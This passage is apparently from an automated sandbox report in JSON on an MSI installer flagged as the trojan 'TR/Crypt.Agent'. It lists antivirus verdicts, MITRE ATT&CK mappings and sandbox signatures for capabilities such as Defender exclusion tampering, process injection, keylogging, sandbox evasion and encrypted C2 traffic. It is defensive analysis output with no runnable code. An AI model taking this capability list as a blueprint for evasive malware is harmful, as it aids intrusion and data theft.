eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"TR/Crypt.Agent","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"IP Addresses","attack_id":"T1590.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1590/005","identifiers":[{"type":"suspicious","value":"Able to evade execution by checking for blacklisted external IPs"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"suspicious","value":"Executes powershell with commandline"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains reference to licensed c/c++ library"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"},{"type":"informative","value":"Able to identify virtual environment using user register activity"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Defense Evasion","technique":"Windows File and Directory Permissions Modification","attack_id":"T1222.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1222/001","identifiers":[{"type":"malicious","value":"Modifies the access control lists of files"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Detected expand command line utility (used to expand or compress files)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Defense Evasion","technique":"Impair Defenses","attack_id":"T1562","attack_id_wiki":"https://attack.mitre.org/techniques/T1562","identifiers":[{"type":"informative","value":"Uses powershell with a add-mppreference commandline param"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Tries to modify exclusion list using Powershell"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to verify if file exist on disk (API string)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads information about supported languages"},{"type":"suspicious","value":"Found system commands related strings"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"suspicious","value":"Tries to obtain system information using systeminfo"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve system configuration"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Opens registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Contains ability to perform remote procedure calls (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"May execute SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Contains ability to communicate with network (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Detected Suricata Alert - Base64"},{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"GETs files from a webserver"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"malicious","value":"Found unknown user-agent(s)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"suspicious","value":"Opens a handle to the specified local process"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00004680.00000000.211724.02EC0000.00000004.mdmp, 00000000-00004680.00000001.213645.02EC0000.00000004.mdmp, 00000000-00004680.00000002.215565.02EC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform remote procedure calls (API string)","description":"Found reference to API \"RpcStringFreeW\" (Indicator: \"RpcStringFree\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1021","relevance":1,"id":"string-160","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: 